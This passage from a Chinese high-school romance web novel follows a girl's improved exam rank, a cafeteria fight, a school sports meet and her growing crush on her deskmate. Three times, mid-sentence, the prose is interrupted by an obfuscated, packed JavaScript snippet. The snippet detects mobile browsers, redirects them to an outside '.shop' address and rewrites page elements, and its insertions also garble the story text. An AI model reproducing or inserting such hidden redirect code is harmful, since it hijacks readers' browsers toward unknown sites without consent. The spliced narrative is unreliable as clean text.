他还在那边干嚎,骆眀昭仍是懒洋洋的,反正倒数第一的宝座她是稳坐其中。 前面两人那么闹腾,她偏头瞧了眼牧时桉,他正斜撑着课桌刷手机,看着对他们的对话不怎么在意。 这都几天啦,高冷哥还别扭呢? 韩进奇被自己同桌吵到心烦:“消停点吧,别天天信那些神啊鬼啊的,你非要说位置影响排名,你看骆小昭同学……” 骆眀昭忽地被提到,很莫名地扬起脑袋,指着自己。 你说的是我吗? “就是你,”韩进奇老干部似的教育,“罗川,人家虽然坐最后一排,人家也是倒数第六啊,别老信那些有的没的。” 骆眀昭原本就只是左耳朵进右耳朵出,可在大脑捕捉到“倒数第六”这个关键词时,她一瞬间就坐不住了,谁倒数第六! “我、我是倒数第六吗!天呐!真的是我吗!”那一瞬间骆眀昭感觉从天上砸下一个巨大的馅饼,还是她爱吃的披萨饼,心中只能惊喜。 韩进奇点点头:“是你,就是你。” 这么说的话,这段时间原来她算是有进步的啊! 从倒数第一到倒数第六,这不是里程碑式的进步吗? 罗川惊讶着,他是知道骆眀昭倒数第一压线进一班的,没想到人家一个月也有了进步,心中也隐隐的也想更努力些。 不过他还是好奇:“倒数第一是谁啊?” “昊子考综合的时候肠胃炎犯了你不知道?就填了选择就请假去医院啦。”韩进奇挑挑眉。 那合着他还是倒数第一!罗川更郁闷了。 骆眀昭乐得飘飘然,余光撇见牧时桉一声不吭地还在刷手机,她好奇随意问了句:“那牧时桉的排名呢?” 韩进奇没看仔细:“大概就是十多名吧,我就瞥了一眼。” “是嘛,考得不错啊。”她说。 意外听到自己名字,少年骨感的手指在碰触屏幕的一瞬间停止,然后缓慢扬起头,骆眀昭正撑着脑袋跟前桌笑嘻嘻地聊天。 她笑的时候,头上的丸子会跟着一翘一翘的,像是颗青涩却又饱满的葡萄。 他就只看了几眼,便暗自垂下目光,如同什么事都没发生一般。 - “周四要开运动会?”骆眀昭捏着筷子的手一顿,猛地扬起脑袋来,嘴角还残留烤肉拌饭的甜辣酱。 梁若璇看着她点点头,身旁林雨彤跟着说:“你们班没说吗?下午那会儿我们班已经开始发报名表了。” 骆眀昭摇摇头,果然是重点班,娱乐消息的传播速度为零。 她埋下头又塞了几口,这家烤肉拌饭是二食堂新开的,所以她想着今天来试试口味,这也算是她一次在学校食堂吃到不合心意的食物,油有些大而且肉也咸,不过勉强能吃就是了。 “今年放开了应该会大办,我们班连举牌人选都选好啦,就是雨彤!”梁若璇笑着在林雨彤脸侧做闪光手势。 骆眀昭眼睛亮了亮:“真哒,到时候给你拍美照。” 林雨彤摆摆手:“低调低调。” 林雨彤因为学服表偶尔还会去健身塑形,身形高瘦匀称,皮肤也是健康的浅小麦色,一打眼看过去也是人群中很出色的形象,她去举牌再合适不过。 梁若璇对面前这份烤肉拌饭兴致缺缺,她向来是只吃自己喜欢的,她把盘子推到旁边,回忆着说:“还记得去年的运动会,怕出什么问题,好多项目都砍掉了,最后也是草草结束。” 骆眀昭扬起脑袋,哼笑一声:“那你是没见到我们南校区去年的盛况。” “南校区也办运动会啦?都说是盛况,是不是锣鼓喧天一呼百应?”梁若璇猜着。 “呵呵,学校不知道从哪找见两根长绳,先用来拔河,再用来跳绳,两个项目班级车轮战结束后,解散自由活动。”林雨彤至今还忘不了那场面,南校区甚至还很有仪式感的挂了条横幅,结果不到两个小时就被摘下来。 梁若璇:“哈?” 但今年不一样,一看就是要大办的模样。 骆眀昭一瞬间就起了兴致,开始隐隐期待着。 她们这边聊着火热,不知什么时候,二食堂某处响起喧闹声,甚至愈演愈烈,盖住食堂里嘈杂的各类声音,四周都逐渐安静下来,男生的叫嚷声在食堂里显得愈发清晰。 “有病他妈看病去,少在这跟疯狗一样乱咬人!” “操,你他妈算什么东西!” 骆眀昭这边听得不真切,只是大概几秒钟后,食堂那头就打了起来,许多学生围做一团,有人跑出找老师,还有人赶紧上去劝架,所有人都目光汇聚一处。 “怎么忽然就吵起来了?”林雨彤愣着。 骆眀昭没带眼镜,眯着眼睛朝那边看,同时摇摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603010|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道啊。” 梁若璇似乎瞧见什么,一瞬间脊背一凉,那边两姐妹还发着呆,她也不顾形象,直接步子一迈站在椅子上朝着战场那头看过去。 骆眀昭感到身上忽地落下阴影,她下意识顺着找过去,却见梁若璇居然直接站在了长椅上,她蹙起眉仰头:“小璇,你怎么站上去了,小心别摔到啦。” 梁若璇耳边根本听不见她在说什么,目光死死瞧着纠缠在一起的少年人们,直到瞧见那张熟悉的脸孔,她呼吸一滞,呆在了那。 下一秒,她猛地从长椅上跳下来,火气翻涌而上:“操,那他妈是薛游!” 骆眀昭林雨彤异口同声:“什么!” 梁若璇朝着那边小跑过去,扒开围观着的人群,骆眀昭林雨彤紧跟在她身后。 饭点食堂学生多,越往冲突中心走围着的学生越密集。 梁若璇根本管不了那么多,费劲地穿过人潮,终于钻进争斗现场时,薛游的一只手正拎着对面男生的衣领,另一只手攥拳就要砸在对方侧脸上。 她不管不顾地猛冲上去,一把拽住薛游青筋暴起的手臂,怒喊道:“你给我放手!” 薛游回过头,顿时愣下几秒,让人陌生的狠厉眼神顿时平和下来,扬起的拳头也顺着缓缓落下。 “别打了,跟我过来!”梁若璇厉声道。 被打的男生呲牙咧嘴地表情狰狞,怒气也正在顶峰:“他妈跟你有关系吗?” 梁若璇拉着薛游正准备走,闻言转过头,目光冷冽,沉声吐出一个字:“滚。” 男生身子一僵,诧异自己居然会被她的目光镇住,再回过神来,两人已经走出人群了。 几个人坐回原先的饭桌,骆眀昭怔怔地看着他俩,心神还有些恍惚。 带给她最大冲击的还是薛游,平时总是跟在牧时桉身边,虽然有时看着有些缺心眼还透着傻,但外表却也像某种温顺乖巧的犬科,很有少年感,没想到今天居然带给她如此大的反差。梁若璇也是如此。 她抬起头与林雨彤对视一眼,两人都看出彼此目光中的诧异,但都很有默契地没开口,只是安静地听着梁若璇叉腰在批斗。 “你也真有本事,大庭广众之下跟人打起来,也不怕记个处分,”梁若璇白他一眼,薛游老实地没说话,只是低头,她又问,“怎么就忽然打起来了?我记得那男的就是你们班的吧。” 薛游慢慢地扬起脑袋,眨巴着双眼欲言又止。 梁若璇简直要气笑,伸手没好气地推他一把:“出门忘带声带了?说啊。” 正“审讯”着,牧时桉迈着大步朝他们走过来,问向薛游:“怎么忽然来这了?找你半天。” 这边薛游装哑巴,梁若璇只能抱着胸将气撒到自己无辜的亲侄子身上,她瞪圆了眼睛:“你还问他!你他妈刚刚去哪了?每次都是关键时候人不在……” 牧时桉出去接了个电话,完美错过刚刚食堂里发生的一切,什么都不知道,他不着痕迹地看向骆眀昭希望能寻求帮助。 骆眀昭摊开手,作无奈状:你自求多福吧。 牧时桉:?跟我有啥关系? 24. 口香糖 “你干嘛去了?”梁若璇嗓音里还带着火气,又问一遍。 牧时桉手里握着手机,径直坐在长椅上,随意说道:“我去外面接你哥电话。” 这完全属于正当理由,梁若璇抱着胸,嘴角微微向下,顿时像是一拳打在棉花上气都憋回肚子里。 牧时桉撩起眼皮,侧过头去瞧一旁在装哑巴的骆眀昭:“到底发生什么了?” 骆眀昭只好赶紧将薛游刚刚食堂跟人起冲突的事简单讲述一遍,同时刻意隐去梁若璇“千里”奔袭叫停争斗的细节,毕竟连她现在还没完全缓过劲来呢。 “我记得我也就打了四五分钟的电话吧?”牧时桉扬眉,眸色漆黑,显然他也不认同薛游这种做法,“这点功夫你也能跟人打一架?” 薛游一直埋着的脑袋,终于有了抬起来的趋势,他不太好意思地踌躇着,大概他也知道他刚刚冲动行事,半晌,他终于开口:“就是他嘴太臭,我本来就想让他消停一会儿——” “然后你就先爆发了?他到底说什么啦。”梁若璇插话怼他。 薛游闷着,然后才慢慢解释。 南北校区合并后每个班学生被打得很散,有部分学生不太满意,其中就包括刚刚嘴臭那个男生,好像是他跟他小女朋友没分到一个班他就对这事怨念挺大的,对班里的南校区学生老是阴阳怪气,碰巧薛游的新同桌刚好就是个原南校区的小男生,性格挺腼腆的,也不爱说话。 “……人家没招没惹,就是跟原来的同学说几句关于运动会的事,他跟同学说句比赛加油,让那个脑残听见就非说我同桌没有班级荣誉感咋咋,说他要不就滚回南校区去。”薛游义正言辞地说,还有些不服气。 食堂在不知不觉间又恢复原先的秩序,梁若璇听着微眯了下眼,悠悠地问:“所以你还是仗义出手喽?” “也差不多啦。”薛游还以为她在夸自己。 梁若璇差点又没忍住抡起拳头:“你还当我夸你呢!你知不知道记大过三次就要被开除啊,你已经有过一次了!” “我下次保证不会了。” 骆眀昭愣了几秒,这信息量也有点太大了吧。 林雨彤原本一直没吭声,也开口说着:“不过我觉得学校打乱学生这事做得确实挺草率的,都没提前跟大伙说一声,冷不丁突然实行政策,其实我们班也是,感觉不少南校区的人都没融进班里,都是在跟原来的朋友们抱团玩。” 骆眀昭在一班倒是感受不深,她新认识的朋友们对她都很友善,也可能是一班更多时候学习氛围都很浓重,尤其是那些前二十名尖子学生们,时间大都花在学习上,对这种事反而就没那么敏感。 “反正,这种事不能再有下次,估计你们班主任晚自习也该叫你挨骂了,你就嘴甜点,而且我看那男的也没什么事,争取捞个检查就算。”梁若璇托着下巴,叹出口气。 薛游点点头:“我知道啦。” - 忽如其来的插曲让晚饭谁都没吃好,薛游主动提出去学校超市买单赔罪,但骆眀昭没去。 一班晚自习正式开始前有十五分钟晚练时间,今天是数学,以她的速度根本算不完,早点回去写说不定就能赶上进度。 在二食堂门口几个招手分别,骆眀昭朝着教学楼的方向安静走着,北方这个时候,天色已然沉下去,甬道旁亮起盏盏忽明忽暗的路灯,秋夜泛起的凉意让人忍不住搓着胳膊。 身后呲呲啦啦有些细微的动静,骆眀昭下意识回头,才发现身后竟跟着个人,她居然没发现。 她偏过脑袋:“你没跟他们去超市吗?” “你心也是蛮大的,身后跟着个人都没察觉。”来人就是牧时桉,他只几步边追上她,与她并排慢行。 少年身上有股淡淡的松木混合着皂香,大概是家里洗衣液的味道,还蛮配他的,骆眀昭总是能嗅到这气味,此时此刻正不经意地钻进她的鼻腔里。 骆眀昭揣着校服外套口袋,慢悠悠溜达:“这在学校里我防谁啊,而且你直接叫我一声不就行了,干嘛走这么久都一声不吭。” 牧时桉安静走着,没说话。 片刻后,她忽地想起什么,不怀好意地笑着仰起头看他:“啧,还别扭呢?” “别扭什么?”朦胧光影下,他即便表情多么不自然也难以察觉。 骆眀昭翘起嘴角来,轻笑出声:“噗,咱又是同桌又是邻居的,这有什么好别扭的。” 牧时桉抿着唇,最后还是憋出一句:“你想多了。” 看他这幅死不承认的模样,还有点可爱。 骆眀昭偏过头,低低地笑着,尽力压制着自己的笑意。 牧时桉占据海拔优势,她那点小动作微微侧过头,就能看得一清二楚,双肩都在那颤抖着不知道骗得过谁。 他心里烦乱着。看来网上的帖子就不能信。 什么高冷,什么装没发生。 等到两人回到教室,牧时桉侧坐在椅子上,伸手从兜里掏出手机,把收藏里有关如何挽回女生面前颜面的帖子,删得一干二净。 晚自习放学前,一班踩着年级统计参赛人员名单的最后两小时,让体委组织登记参赛名单,体委几乎是求爷爷告奶奶才把各项目的人选敲定。 好在自习休憩空闲时间,大家非常火速地就敲定了举牌人员、加油稿写手、后勤人员等一系列人员安排。 骆眀昭这种运动全废、文笔勉强的人士,就非常自然地列入最平凡的看台拉拉队阵容。 意外的是,平时给人懒癌晚期既视感的牧时桉,居然报了两个项目,体委像看见菩萨降世般巴巴望着他。 “你报的什么?”骆眀昭从体委手里拿过登记表,低下头,“一百米接力还有四百米接力!我去,你是接力大王啊。” 牧时桉歪着脑袋,吊儿郎当地回道:“你要这么叫我也行。” - 周四周五两天举办运动会,惯例就是只有高一高二参加的活动。 学校操场上密密麻麻站着两个年级的学生,人头攒动。 开幕式上,校领导轮番上阵到讲台上讲话,学生们早已压不住沸腾着的心脏,好不容易才熬过了这一部分。 队伍中的骆眀昭仰着头,眯着眼望向晴空万里,想着今天真是个好天气。 运动员入场环节,骆眀昭坐在本班座位处,手里举着从梁若璇家里拿来的相机,承担为好姐妹拍美照的任务,在班主任点头允许的情况下,她拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603011|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相机站起身来,镜头对准操场上的一排队伍。 高二年级出场,打头阵的就是一班,体委扛旗,身旁穿着洛丽塔装的是尹菲,她自告奋勇地举牌任务,镜头里女孩笑得明媚又灵动,骆眀昭也笑着按下快门键。 队伍不断往前走,相机的取景框中忽地出现牧时桉的身影,今天学校短暂允许学生可以穿自己的运动服,他身着黑白色的运动套装,漫不经心地走在队伍最后方,精致脸孔锐利又惹眼,即便已经用棒球帽掩盖去部分锋芒,还是惹得众多女生议论。 男生帽檐下的发丝随风肆意扬着,热烈又满是少年意气。 骆眀昭倏然感觉心空半秒,也不知道被什么指引着,她连着按了好几下快门, 韩进奇就站在她身侧,无意中瞧见屏幕上的身影,惊诧道:“不愧是咱们班草哈,真是上镜。” 骆眀昭猛地回过神来,都没去看,也愣着点头:“是挺上镜的。” 跑道上已然换了一批人,迎面就是二班的牌子,骆眀昭牢记自己的使命,赶紧把相机举起来,林雨彤今天穿着白色衬衫和一条黑色马面裙,原本是准备过生日拍照穿的,没想到提前就派上用场。 她举着相机上蹿下跳各种角度地拍,也没忘帮队伍中的梁若璇留影几张。后来想着反正都拍了,等到十三班转过来时,她也给举旗的薛游拍了好几张,主打就是个雨露均沾。 开幕式结束,比赛就要正式开始,一班二班坐得近,非常方便骆眀昭跟好姐妹们接头,她跟最靠近二班位置的一个男生换了座位,拿着自己的小包就迅速转移。 林雨彤和梁若璇也换了过来,三人相互招手接头成功。 “快快快,给我看看拍得怎么样。”林雨彤已经迫不及待接过相机,“我没有别的要求,能p就行。” 梁若璇凑过脑袋跟着看,她俩一张张翻阅着,林雨彤越看越满意:“可以啊,你这水平进步这么多!” “还是因为你俩人美嘛。”骆眀昭嘴甜得不行,更有原因是,今天天公作美,光线就是拍照的好时候。 预览是从最后一张往前翻阅,林雨彤一张张划着,忽然诧异出声:“我靠,你这张拍的牧时桉也太帅了吧。” “是吗?我看看。”梁若璇接过相机,也不禁感慨,“真的哎,你看这阵风配合的正好,而且就这一张,他在笑哎。” 骆眀昭拍完后,还没来得及看过,这是她第一次看到自己的成果,她侧过头,少年以最完美的模样展现在屏幕上,帽檐只浅浅遮住他的眉眼,嘴角明晃晃地微微勾起角度。 “口香糖要吗?薛游给的。”清朗的男生从耳畔响起,骆眀昭回过头,身旁是牧时桉。他递过一条开封后的绿箭。 骆眀昭好不容易才回神,愣着:“你没比赛?” “你是一点没看流程啊,先是高一。”他轻笑一声。 梁若璇笑着招呼他:“你快过来,昭昭拍了张你的神图,能洗出来的那种。” “是嘛?我看看。”牧时桉扬了扬下巴,从梁若璇那接过相机,却又那么顺手,将口香糖放在骆眀昭的手心。 骆眀昭垂下头,兀自瞧着手中的口香糖,只听着耳边清清淡淡笑着。 “确实拍得不错。” 25. 蛋挞 骆眀昭是在广播声提醒高二男子组一百米接力预赛开始检录的时候,回过神来的。 林雨彤伸手在她眼前晃了一把,说道:“在发什么呆,牧时桉的比赛快开始啦!” “比赛要开始啦?”骆眀昭仰起头,眨了眨眼。 梁若璇点点头,伸手遮盖住眼前的阳光,朝远方望着:“起点在操场那边,不过终点就在咱们前边,要过去看看吗?” 骆眀昭从搭在腿上的包里翻出相机:“我跟我们班主任说一声。” 运动会虽然自由,但像骆眀昭这种身无一事半职的闲人,更多时候只能在本班的观众席看着,不过今天宋晓也很好说话,嘱咐几句就放她走。 二十六个班总共会分成五组,第一组就是一班到五班的选手,终点处围着一群为运动员补给的后勤人员,骆眀昭和林雨彤没过去给人家添乱,拿着相机站到跑道边上。 “大侄子好像是最后一棒。”梁若璇靠着骆眀昭的肩膀,笑着说道,“神图缔造者,这次的照片也拜托你啦?” 骆眀昭笑着用胳膊怼她一下:“别压力我啊,我跟你说刚刚纯属超长发挥,嘴歪眼斜才是我的常态,要不然你来?” 林雨彤比赛在明天,这会还穿着举牌的马面裙,伸手接过相机:“我来试试。” 骆眀昭递给她相机包,压低帽檐抱胸朝着牧时桉的起跑点望去,少年的身影在一百米开外,实话讲,她这次不想拍照,可就连自己都不太清楚为什么。她带着圆框眼镜,所以看得清楚,他正伸着胳膊在起跑点热身。 “你说我是不是得给我大侄子加油,但情理上我现在是二班的一份子哎。”梁若璇纠结着。 “放心,你大侄子不需要你,”林雨彤耸了下肩,手指向起跑点跑道旁围着一群小声尖叫的女孩子们,“他一个人能多出一个连队的人替他加油,顾好本班就好,二班加油!” 但她是一班的哎。 她是不是得给他加个油。 正想着,无意识地抬眼往起跑点望去,远处的男生似乎也在看向她们的位置,他的棒球帽还被遗忘在座椅上,发丝随风鼓动,提前适应着风的节奏。 “加油,加油——” 场地上瞬间回响起观众们的呐喊声,骆眀昭懵地惊醒,操场的那头已经有男生手握接力棒奋力向着下一棒跑去。被这气氛感染,林雨彤和梁若璇也忍不住在塑胶跑道旁呐喊助力着。 最后一棒,牧时桉从队友手中接棒,那瞬间,仿佛是挣脱了虚空中束缚着他的隐形枷锁,他奔向随风自由的终点,耳畔风声呼啸,目光所及之处没有人影,他是第一个。 即将迈向重点的二十米,刹那,女生清亮明媚的呐喊声仿若清风,就这么轻飘飘地激起他心脏狂跳:“牧时桉,加油啊!” 再回神时,他已经迈过终点线,缓冲几步缓缓停下。 后勤几人朝着他围上来,他喘着气,接过同学递给他的水瓶但没动,下意识地回头朝着三个女生的看过去,梁若璇正看他笑着,顺手握起身侧骆眀昭的手腕,手臂举得很高,朝着他挥挥手。 骆眀昭嗓子喊得有些哑,忽然手臂就被拽起来挥着,她扬起头,与男生四目对视,愣了几秒,她笑着用口型示意:“真棒!” 林雨彤还在那低头张张审着自己的摄影大作:“啧,怎么感觉就是没有骆眀昭那张好看呢?” - 今日的运动会圆满结束,落日西沉,运动场上的学生们做鸟兽散。 决赛全都安排在明天,林雨彤、梁若璇、薛游、牧时桉四人参与的项目全都顺利通过初赛。 操场那头,薛游背着双肩包跟同学并排朝着他们走来,到快汇合时,与身边男生打了个招呼。 “我去找我朋友啦,回班见,”薛游笑着走过来,“这是列队欢迎我呢?” 梁若璇白他一眼:“不是你在群里说,要庆祝一下顺利通过初赛吗,走得够慢的。” “我帮我同桌收拾垃圾呢,而且我可是四项全过初赛,不得庆祝一下吗?”薛游洋洋得意。 骆眀昭挎着包,感慨地啧啧两声。 那可是四项比赛哎,他居然也有体力全参与,人跟人真是不一样啊。 而且就因为薛游的运动细胞,他班主任特意暂时不计较他跟人家打架的事,但也立下军令状,运动会多拿几个名次回来。 梁若璇挑眉,歪头示意大家出发:“走吧,那就去二食堂吃呗?” “还去二食堂啊?每天吃不腻吗?”林雨彤第一个提了反对,她今天到处帮忙干活,消耗一天卡路里,早就盼着想吃点好的。 薛游跟在她们身侧:“我也不是很想吃食堂的饭,要是能现在能出去吃就好了。” 骆眀昭两手绕着垂在前胸两侧的双马尾,一盆冷水浇了个透心凉:“可是晚上还得上晚自习,这个时间出不去的。” 林雨彤、薛游顿时丧得明显。 五人走在校园大道上,这个时段正是学生人流密集的时刻,像是一道风景线惹的许多人围观。 虽说心知这瞩目是来自谁,但意外享受校园明星待遇的骆眀昭思路飘得很远,她压低声音,狡黠地笑:“哎,有没有觉得咱们像F5,有点爽啊。” “原来做明星的感觉是这样的哎。”林雨彤跟着嘀咕。 骆眀昭戳她一下:“你以后可是要做大模特的人,这点目光就大惊小怪的。” 牧时桉和薛游不知不觉慢她们几步,就跟在她们身后。 女孩子的嬉闹声就就像悦耳的清泉声,牧时桉垂着眼皮漫不经心地瞧着身前的娇小身影,两条俏皮的马尾被甩在身后晃悠。 “呀,我想到吃什么啦!”梁若璇目光一亮。 林雨彤、骆眀昭异口同声:“吃啥?” 梁若璇随即跟做贼似的,招呼后面跟着的两个男生上前:“你们记不记得,今天是疯狂星期四,反正时间充裕,离晚自习还早着呢,咱们是时候疯狂一把了……” 林雨彤愣着:“可是,中午那会儿学校刚说这两天不允许点外卖,查得很严。” 骆眀昭双眼瞪大。 小姐姐,你也太疯狂了点吧? 可能是这个自由的盛会,让学生们的心思都如同被放飞的小鸟一般,听说今天偷偷点外卖的学生很多,而且大都是点奶茶,各家奶茶品牌独具一帜的外卖袋在操场上一眼望过去,着实扎眼。 “而且午休时宋老师说,这两天会有学生会的人巡查。”骆眀昭附和道。 梁若璇还在游说:“哎呦,巡查肯定也是在运动会期间,这会都散场了,而且如果来人是高二的,都是同学可以通融,如果是高一的,那就发挥学长优势嘛。” 骆眀昭心底总觉得不太妥当:“可是……” “你不想吃蛋挞吗?昭昭,疯狂星期四咱们可以直接用很实惠的价格端一盒的。”梁若璇微眯着眼,使用出骆眀昭无法抵御的美食诱惑。 蛋挞啊…… 林雨彤决定暂时抛弃减肥的烦恼:“我投同意票。” “我也同意!”薛游咧着笑容。 牧时桉单手插着兜,低头瞥了眼身旁的骆眀昭,帽檐遮盖的阴影下,嘴角扬起个不起眼的弧度:“我都可以,服从安排。” 少年的声音透着微微的哑,拂过耳边让人心痒,骆眀昭不自觉地轻抖一下,紧接着,离着更远的地方跨了大步,跟他直接隔开距离。 她觉得自己今天很怪,总之是碰到牧时桉就怪。 但在没查明这份怪异源自何处之前,既然躲不过,那就尽量保持距离。 牧时桉垂眸,眼底闪过一抹暗色。 骆眀昭挽着林雨彤的肩膀,实在没抵住开封菜蛋挞带给她的致命诱惑,犹犹豫豫地开口:“那, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604047|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我也同意吧?” 梁若璇笑着:“那就这么愉快地决定啦,走,咱们找个地方选餐。” 学校里有几处可供休息的小亭,但薛游认为,还不如大大方方直接坐在食堂里点餐,用拥挤的食堂来掩盖他们的秘密行动。 秘密行动听着不太正经,但话糙理不糙。 五人溜达到二食堂,找了张角落里的餐桌,围在一块用梁若璇的手机转一圈的点餐。 “我要香辣鸡腿堡好了,再要一对烤翅,咱们还要一盒鸡块对吧,那我就不要别的了。”骆眀昭刷着屏幕确定下来。 手机被递给牧时桉,他懒懒地垂下眼:“一个辣堡就行。” “跟昭昭一样的辣堡是吧?那我就下单啦。”梁若璇拿回手机,扫了一眼屏幕,下单支付。 牧时桉坐在骆眀昭对面,她仰起头,脑子里忽地想到什么,记忆回溯,骆眀昭犹豫着欲言又止,牧时桉刚好抬起目光对上她的视线。 托着腮,听不出情绪来:“你想说什么?” 骆眀昭愣着几秒,几个人都闻声转头看她,她顿着考虑该不该说。 片刻后,她说:“你确定要点鸡腿堡啊?” “怎么,不行?”牧时桉不明所以,众人也不太明白她的意思。 骆眀昭搓着鼻尖:“倒也不是不可以啦,就是吧……” 牧时桉挑眉:“什么?” “鸡腿堡里面是裹着面的炸鸡,不是那种整块的牛肉饼……” “所以呢?” “所以吧,就是它不太能像肉饼那样,很容易就被筷子夹开,你明白我的意思吧?” 梁若璇倏地“噗”一声笑出来,她想起来第一天跟骆眀昭见面的事场面:“汉堡哥,我都忘了你还有这称号了哈哈哈哈哈。” 牧时桉:…… 薛游也放肆大笑着,林雨彤憋笑憋得简直想死。 骆眀昭一下感觉无法收场,赶紧找补:“不是啊,我完全尊重你本人的饮食习惯,就是给你提个醒,绝对没有别的意思。” “我终于知道你为什么要管我叫汉堡哥了。”牧时桉咬着牙一字一句地说着,脸黑得能滴出墨来。 梁若璇笑着还在忍不住殴打着牧时桉,笑到肚子疼擦去眼角的眼泪:“昭昭你误会了,他平时不是那样的。” 骆眀昭从没吃过二食堂窗口的手作汉堡,跟普通快餐店又小又扎实的汉堡不同,它是那种很蓬松的面包体,里面又夹着蔬菜肉饼,所以拿到手时汉堡摞得老高,难以下口,偏偏师傅每次还包得不紧实,松松撒撒的,几乎拿到手时汉堡就是散开的。 “……而且这家汉堡,酱又给得超级无敌的多,总是酱流得到处都是,大侄子嫌不干净,就老是拿筷子夹开吃。”梁若璇边笑,边磕磕巴巴解释。 原来是这样。 骆眀昭脸臊得通红,深深低下头:“真的对不起,误会你了很抱歉。” 牧时桉只简单说了声“没事”,就低下头刷手机。 但实际上耳根也红得快爆炸,怎么也没想到居然会跟她留下这种印象。 那三个还在低声笑着,梁若璇轻咳两声:“好了好了,这一部分过去,外卖到了,咱们去拿吧。” 离学校五百米开外就有家肯德基,因而外卖送得很快,这个时间校园里人少,梁若璇轻车熟路地领着他们去到学校侧门的栅栏处取外卖。 天色几乎黑得彻底,侧门来人又少,光线也暗,五人蹑手蹑脚地往过走,栅栏外正有外卖员等着接头。 “你好,是梁小姐吗?” “是我。”梁若璇报了串尾号,伸手接过外卖纸袋,“谢谢啊。” 四周一切如常,几个人逐渐放下心来,往亮光的地方移动。 可没想到刚转过弯,眼前晃来一片强光,清脆的女声响亮。 “你们是哪个班的?” 26. 果冻 “你们班今天没有数学晚练吗?”林雨彤忽地开口问道。 骆眀昭手里塑料袋抱着满怀,几乎挡住她半个身子:“有啊,怎么没有。” 即便是运动会,学校也不可能会放过一班。 梁若璇指指她怀里大包小包的零食,犹犹豫豫:“那你怎么还有时间来超市,还买这么多零食,你没吃饱?” 天色昏沉,也是在为骆眀昭的心虚打掩护:“对,对啊,我就是没吃饱,我正长身体呢。” 林雨彤无奈:“你就是真没吃饱,食堂买个煎饼也行啊,吃这些多没营养。” 薯片、虾条、果冻、辣条,她那点零花钱大概今天夜里全栽进校园超市里了,收款的老板娘倒是笑得乐开了花。 其实她只是不想和牧时桉一起走回班,仅此而已。 然后那么一走神,怀里就多出这些东西来。 三人就是再路上再磨蹭,也很快走进了高二教学楼,除了一班以外其他班级还有吵嚷声,跟姐妹分别后,骆眀昭抱着零食慢悠悠进后门,班里安静地只剩刷刷算题的声音。 视线内,男生坐在自己位置俯身算题,桌上仍是干净整洁的,他攥着笔在草稿纸上计算,他实在是惹眼,以至于目光都不自觉往他的身上靠近。 骆眀昭愣几秒,然后以最快速度回到自己座位,装作什么都没发生。 怕打扰大家,椅子被小心翼翼拉开。 “怎么买这么多?”骆眀昭刚坐下,就听见刻意压低的男声,绕着耳侧让人直发痒。 她紧攥着塑料袋,心脏彭彭跳动几下,内心暗骂自己是失心疯,在这里脸红个泡泡茶壶:“就想吃嘛,说起来好久都没吃过果冻,哈哈。” 说完她就从里面翻出个需要插管的果冻,剩下的全都被她一股脑丢进脚边的收纳箱里。 骆眀昭压低脑袋,吐出几口灼热的气来,胃被肯德基的汉堡小食填满,因而手边的果冻才显得更加碍眼。 她这不是纯属自讨苦吃吗? 黑板上数学课代表抄写下四道大题,她闷着从文件袋里翻出张A4纸,拔开笔帽,在干净没有一丝污垢的白纸上写下题标,扬起脑袋默默看题。 如图,正方体ABCD…… 她仰着头,盯了许久,始终连第一道题的一句话都没能顺利读完。 唔,她感觉心里闷闷的,骆眀昭放弃读题,把A4纸撇到一边。 然后从书包里翻出她的日记本。 她动作很轻,翻到最新的空白的一页,想了想,握着黑笔在纸上写下这样一句话——我好像是对新同桌见色起意了。 还有一年,骆眀昭就要十八岁了。 她又不傻,即便猜个大概也早就明白,自己不受控制的心思究竟源自什么。 她就是心底不愿意承认罢了,这样似乎,显得她很肤浅。 连骆眀昭自己都想不明白,又不是平时不见面,恨不得一天见八回,学校是同桌、放学是搭子、晚上是邻居,可为什么偏偏今天产生如此奇妙的化学反应,她被人夺舍了? 她苦恼地纠结着,心中仿佛数不尽的蚂蚁在吞噬着她残存的理智,猛地将 笔记本合十,带着一丝微妙的怨气,然后塞进书包夹层。 数学是牧时桉强项,每次考试的满分试卷就说不定有他一份。 他很早就算完了几道题,早在骆眀昭回来之前。如果他的感觉没错,运动会以后骆眀昭就一直在躲着他,而她自回来后,心思俨然就不在黑板上那几道题上,神神秘秘不知在忙乎些什么。 牧时桉抿着唇,尽量抑制住他试图偏过去的目光。 时间到,数学课代表说了声收答案,就开始围绕着班级收作业。 骆眀昭的答题纸上只写了个汉字“一”,其余都是一片空白。 “抄吗?”侧边推过来张纸,骆眀昭闻声看过去,纸上是少年凌厉的笔锋,密密麻麻写了整张纸。 